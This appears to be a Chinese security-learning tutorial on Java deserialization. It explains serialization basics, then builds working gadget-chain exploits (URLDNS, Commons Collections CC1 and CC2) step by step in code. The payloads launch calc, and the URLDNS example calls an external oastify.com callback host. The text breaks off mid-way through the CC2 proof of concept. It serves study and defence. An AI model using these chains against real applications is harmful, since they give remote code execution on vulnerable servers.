java反序列化
1. 什么是序列化与反序列化
Java的序列化就是将对象转化为一个二进制的字节流的过程,该字节序列包含该对象的属性和方法;反序列化顾名思义就是将对象字节流转化为对象,而序列化时需要使用 writeObject 将对象转化为字节流,反序列化需要使用 readObject 将字节流转化为对象。
例如:
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
序列化的好处:
(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。
序列化与反序列化应用的场景:
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。
2.几种创建的序列化和反序列化协议
XML&SOAP
JSON
Protobuf
代码:
Person.java
package study;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "dome01{" + "name=" + name + ", age=" + age + '}';
}
}
SerializationTest.java
package study;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); //将一个对象序列化到文件ser.bin中。
oos.writeObject(obj);
}
//功能:程序的入口点,创建一个Person对象,打印它,然后将其序列化。
//参数:String[] args - 命令行参数。
//异常:声明抛出Exception,表示可能发生的任何异常。
//实现:
//创建一个Person对象,名为"aa",年龄为22。
//打印Person对象。
//调用serialize方法将Person对象序列化到文件。 -->即到ser.bin文件中
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
UnserializeTest.java
package study;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
先运行序列化代码,即Run SerializationTest.java,未运行之前的文件夹
运行后:
可以看到多出来了一个ser.bin文件:
再进行运行UnserializeTest.java文件:
即将ser.bin的文件内容进行一次字符串 -> 对象的过程
Serializable 接口
(1) 序列化类的属性没有实现 Serializable那么在序列化就会报错
只有实现 了Serializable或者 Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。
public interface Serializable {
}
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。
(2) 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
(3)一个实现 Serializable接口的子类也是可以被序列化的。
(4) 静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。
(5) transient 标识的对象成员变量不参与序列化
这里我们可以动手实操一下,将 Person.java中的name加上**transient**的类型标识。加完之后再跑我们的序列化与反序列化的两个程序,修改过程与运行结果如图所示。
安全问题
- 序列化与反序列化当中有两个 "特别特别特别特别特别"重要的方法 ————writeObject和readObject**。
这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。
举个例子,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程,具体的做法是重写以下两个 private 方法:
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。
所以从根本上来说,Java 反序列化的漏洞的与readObject有关。
(1) 入口类的readObject直接调用危险方法
- 这种情况呢,在实际开发场景中并不是特别常见,我们还是跟着代码来走一遍,写一段弹计算器的代码,文件————“Person.Java”
package study;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "dome01{" + "name=" + name + ", age=" + age + '}';
}
private void readObject(java.io.ObjectInputStream ois)throws java.io.IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
随后先运行序列化程序 ———— “SerializationTest.java”,再运行反序列化程序 ———— “UnserializeTest.java”
(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行
产生漏洞的攻击路线
首先的攻击前提:继承 Serializable
入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)
找到入口类之后要找调用链 gadget chain 相同名称、相同类型
执行类 ***sink (RCE SSRF 写文件等等)***比如exec这种函数
以 HashMap 为例说明一下:
首先,攻击前提,那必然是要继承了Serializable这个接口,要不然谈何序列化与反序列化对吧。
HashMap 确实继承了Serializable这个接口。
打开 “Structure”,找到重写的readObject,往下分析。
在第 1416 行与 1418 行中,Key 与 Value 的值执行了readObject的操作,再将 Key 和 Value 两个变量扔进hash这个方法里,我们再跟进(ctrl+鼠标左键即可) hash 当中。
- 若传入的参数 key 不为空,则h = key.hashCode(),于是乎,继续跟进hashCode当中。
hashCode 位置处于 Object 类当中,满足我们 调用常见的函数这一条件。
URLDNS
出发点:URLDNS 在 Java 复杂的反序列化漏洞当中足够简单;URLDNS 就是 ysoserial 中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。
因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。
虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤。
使⽤ Java 内置的类构造,对第三⽅库没有依赖。
在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL 类,调用openConnection方法,到此处的时候,其实openConnection不是常见函数,就已经难以利用了。
我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。
ysoserial项目地址:ysoserial
ysoserial 对 URLDNS 的利用链看着无比简单,就这么几行代码。
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
复现一遍 URLDNS 的利用链。
初步复现
URL 是由 HashMap 的put方法产生的,所以我们先跟进put方法当中。put方法之后又是调用了hash方法;hash方法则是调用了hashcode这一函数。
key 是hash这一方法传进的参数!
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);
// 传进去两个参数,key = 前面那串网址,value = 1
所以这里,我们跟进 URL,去看看 URL 跟进一堆之后的hashCode方法是如何实现的。跟进 URL,我们肯定是要去寻找 URL 调用的函数的函数(应该还有好几个的函数,就不写出来了,不然大家就晕了)的hashCode方法。
在左边 Structure 直接寻找hashCode方法,URL 中的hashCode被handler这一对象所调用,handler又是URLStreamHandler的抽象类。我们再去找URLStreamHandler的hashCode方法。
终于找到了,这个用于 URLDNS 的方法 ————getHostAddress
再跟进getHostAddress
这⾥InetAddress.getByName(host)的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了
⾄此,整个 URLDNS 的Gadget为:
1.HashMap->readObject()
2.HashMap->hash()
3.URL->hashCode()
4.URLStreamHandler->hashCode()
5.URLStreamHandler->getHostAddress()
6.InetAddress->getByName()
SerializationTest.java文件下添加如下代码
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);
serialize(hashmap);
我们先把它序列化,结果发现收到了dns请求
还是从原理角度分析,我们回到 URL 这个对象,回到hashCode这里。
我们发现,当hashCode的值不等于 -1 的时候,函数就会直接return hashCode而不执行hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode的值为 -1,便是发起了请求。
所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。
修改代码如下:
SerializationTest.java
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}
反序列化的文件无需更改
接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。
cc1链
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。。
commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链,前置知识是java安全基础中的反射。
环境搭建:
- CommonsCollections <= 3.2.1
- java < 8u71 Java 存档下载 — Java SE 8 | Oracle 中国
导入Maven依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
下载并且配置相应源码:
因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。打开IDEA,选择文件 —>项目结构 —>SDK —>源路径 —>把src文件夹添加到源路径下,保存即可。或者将sun文件夹拷贝至jdk的src文件夹中:
打开IDEA,选择文件 --->项目结构 --->SDK --->源路径
把src文件夹添加到源路径下,保存即可。
CC1链分析:
利用链:
先把整段链子给出来,我们再倒推逐个分析。
AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()
和URLDNS链一样,起点肯定是某个类的readObject()
方法,要可序列化必须重写readObject()
方法,接受任意对象作为参数。
0x01:
CC1链的末尾(入口/源头)就是Commons Collections库中的Tranformer
接口,这个接口里面有个transform
方法。如下图:
上图是下载了源码的样子,没有的话如下:
查看Tranformer
接口中transform
方法的实现,可以看到有21个实现了,但是着重看InvokerTransformer类:
可以看到实现了Transformer并且继承了serializable:
聚焦到包org.apache.commons.collections.functors
中的InvokerTransformer
类实现了Tranformer
接口中transform
方法。此方法接收了一个对象,然后反射调用,参数可控就导致了反射调用任意类 任意方法。
//含参构造器,我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//重写的transform方法
public Object transform(Object input) { //接收一个对象
if (input == null) {
return null;
}
try {
Class cls = input.getClass(); //可控的获取一个完整类的原型
Method method = cls.getMethod(iMethodName, iParamTypes); //可控的获取该类的某个特定方法
return method.invoke(input, iArgs); //调用该类的方法
//可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
这里的参数都是可控的
//我们来回顾一下如何利用反射调用Runtime中的exec方法
Runtime r=Runtime.getRuntime();
Class c=r.getClass();
Method m=c.getMethod("exec", String.class);
m.invoke(r,"calc");
//那么我们尝试用transform方法来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);
//总结:比较上面两种方式,下面的transform相当于模拟了上诉的反射过程。
exp:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;
public class cc01 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");
Runtime cmd = Runtime.getRuntime();
//使用反射 调用可命令执行的方法
//Class clazz = Runtime.class;
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
//InvokerTransformer类 调用可命令执行的方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
}
}
链子的最后一步就实现了。
0x02:
知道了InvokerTransformer
类可以调用transform()
方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer
类的transform()
方法。
补充:自己找的时候,不要找不同类transform()
方法调用InvokerTransformer
类的transform()
方法,这种情况就是transform()
方法再去调用transform()
方法,没有意义。
对这个方法右键查找用法,可以看到有很多都调用了这个方法,那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法:
那么我们来分析一下TransformedMap类:
在TransformedMap
类中调用了checkSetValue()
方法,其中就调用了transform
。
调用方式是valueTransformer.transform(value);,那我们要做到可控的话就要找TransformedMap类的构造函数了。
构造函数是有参构造函数,类型是protected,所以不能在外部直接调用,那么我们就要找TransformedMap类哪个方法调用了构造函数。
TransformedMap
类的decorate
方法调用了TransformedMap
类的构造函数。
AbstractInputCheckedMapDecorator
类中的MapEntry
类的setValue()
方法 调用了 TransformedMap
类中的checkSetValue()
方法
而且我们可以看到AbstractInputCheckedMapDecorator
类其实上是Transformedmap
的父类。
加上TransformedMap
类 和 AbstractInputCheckedMapDecorator
类中的MapEntry
类 后,我们尝试用代码实现调用计算器。
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc102 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");
Runtime cmd = Runtime.getRuntime();
//原先是
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
InvokerTransformer invoker= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object,Object> map=new HashMap<>();
map.put("明天返校了","又是一年秋风萧瑟");
//TransformedMap.decorate方法调用TransformedMap的构造方法。
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invoker);
//构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。
//AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(cmd);
}
//TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
//相当于invoker.transform(value),value就是上面entry.setValue(cmd)方法的参数cmd。
}
}
链子进一步完善
0x03:
继续倒推,是什么方法调用了AbstractInputCheckedMapDecorator.MapEntry类的s***etValue()***方法呢?
AnnotationInvocationHandler类的***readObject()方法调用了setValue()***方法。直接一步到位了。
调用格式是memberValue.setValue(…)。
AnnotationInvocationHandler
类没有被public
声明(default类型),仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类。
再看看这个类的构造方法。参数是一个Class
对象,一个Map
对象,其中Class
继承了Annotation
,也就是需要传入一个注解类进去(Target或者Override)。
注解举个例子就是我们经常会见到的@Override
。这里我们选择Target
,后面会解释。
反射获取这个类 示例代码:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Target.class, transformedMap);
目前我们的CC1利用EXP已经有了个骨架,但是还是存在些许问题。
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc103
public static void main(String[] args) throws Exception {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");
Runtime cmd = Runtime.getRuntime();
InvokerTransformer invoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> map = new HashMap<>();
map.put("明天返校了", "又是一年秋风萧瑟");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invoker);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
serialize(obj); //序列化
unserialize("ser1.bin"); //反序列化
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
当前链子
问题如下:
1、AnnotationInvocationHandler
类的readObject()
方法调用 的setValue()
方法的参数不可控。
2、AnnotationInvocationHandler
类的readObject()
方法 要是想调用setValue()
方法,得绕过两个if判断。
3、EXP中Runtime对象cmd
因为Runtime类没有继承Serializable
接口,不可以被序列化。
我们先解决问题3:Runtime对象不可以被序列化。
虽然Runtime对象不可以被序列化,但是class可以被序列化。
所以我们从反射下手,用反射实现Runtime
。
//使用反射 调用可命令执行的方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");
利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec
方法 的代码段如下:
//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
这三行实现看起来都差不多,其实是transform
方法的循环调用。
解释一下第一行Method getRunmethod = (Method) new InvokerTransformer(“getDeclaredMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, null}).transform(Runtime.class);
第一个括号内的三个参数是 Invokertransformer类的构造函数的参数。传入的第一个参数String代表你需要调用的方法,第二个参数new Class[]数组代表你方法需要的参数类型,第三个参数***new Object[]***数组代表方法参数的具体值
第二个括号内的一个参数是 Invokertransformer类的transform方法的参数。这个参数是一个类,构造函数传入的参数作为这个类调用的方法。
但是回顾我们的EXP,我们在实现链子TransformedMap.checkSetValue()->InvokerTransformer.transform()
时候我们往TransformedMap
实例传入了一个InvokerTransformer
实例。
但是现在这个InvokerTransformer
实例没有了,被拆成了多个,就是上述三行代码,得想个办法统合起来。
聚焦到org.apache.commons.collections.functors
包下面的ChainedTransformer
类。
这个类存在transform
方法可以帮我们遍历InvokerTransformer
,并且循环调用遍历的InvokerTransformer
的transform
方法
实现代码段:
//Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
Transformer[] transformerArray=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
chainedTransformer.transform(Runtime.class);
把上面这段实现代码段写到EXP里面后,还是执行不了命令,因为还有两个问题待解决。
我们再解决问题2:绕过两个if判断。
目前我们的的EXP如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc104 {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map<Object, Object> map = new HashMap<>();
map.put("明天返校了", "又是一年秋风萧瑟");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
serialize(obj); //序列化
unserialize("ser1.bin"); //反序列化
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
我们调试一下,会发现到第一个if判断时,条件是memberType != null
。目前我们的memberType
是空(null)。第一个if就过不去。
memberType
是获取注解中成员变量的名称,然后并且检查HashMap
键值对中键名是否是对应的名称。注解类(Target或者Override)
这里解释为什么前文注解类我们使用Target
而不是Override
。因为Override
没有成员变量,而Target
有成员变量名称是value
。
因此我们的EXP进行如下修改:
调试,成功进入第一个if。
第二个if判断能不能强转,我们传的肯定强转不了,就一定能过。
最后我们来解决我们的问题1 :AnnotationInvocationHandler
类的readObject()
方法调用 的setValue()
方法的参数不可控。
我们的目标是使得setValue()方法的参数是Runtime.class。
聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。
EXP如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc105 {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class), //解决问题一:AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map<Object, Object> map = new HashMap<>();
map.put("value", "又是一年秋风萧瑟");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
最终链子:
在jdk1.8.0.71中修复了AnnotationInvocationHandler
类的readObject方法,因此CC1无效了其他的链出现了。
前文提到CC1链分国外(Lazymap
)国内(Transformmap
),我们刚刚跟的是国内的,yso的CC1是国外的。国外CC1链如下。
cc2链
0x01:
前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandler
的readobject
进行了改写。导致高版本中利用链无法使用。
这就有了其他的利用链,在CC2链里面并不是使用 AnnotationInvocationHandler
来构造,而是使用 javassist
和PriorityQueue
来构造利用链。
CC2链中使用的是commons-collections-4.0
版本,但是CC1在commons-collections-4.0
版本中其实能使用,但是commons-collections-4.0
版本删除了lazyMap
的decode
方法,这时候我们可以使用lazyMap
方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.0
3.2.1-3.1版本不能去使用,使用的是commons-collections-4.0
4.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。
利用链:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
环境搭建
CC2使用的是javassist
和PriorityQueue
来构造利用链;
并且使用的是commons-collections-4.0
版本,而3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口,也就是说这是不可以被序列化的,所以CC2不用3.x版本。
- JDK 1.7
- commons-collections-4.0
在pom.xml
中添加:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
0x02:
利用链1分析
跟着利用链,首先看看PriorityQueue.readObject()
这里的queue[i]
是从readObject
得到的,再看看writeObject
;
writeObject
中依次将queue[i]
进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]
赋值,就实现了对queue[i]
的控制。
最后调用了heapify
方法,跟进:
当i>=0
时进入for循环,而i=(size >>> 1) -1
将size进行了右移操作,所以size>1
才能进入循环。
再跟进siftDown
方法:
x就是queue[i]
,跟进siftDownUsingComparator
方法:
重点在comparator.compare(x, (E) c)
;
跟进可以看到Comparator
是一个接口,compare是它的抽象方法;
CC2利用链中TransformingComparator
类实现了compare方法;
该方法中调用了this.transformer.transform()
方法,看到这里,就有点熟悉了,this.transformer
又是我们可控的,后面的理解和CC1差不多了。
POC1分析
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc020x01 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
queue.add(1);
queue.add(2);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
代码1
通过反射获取Runtime对象;
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
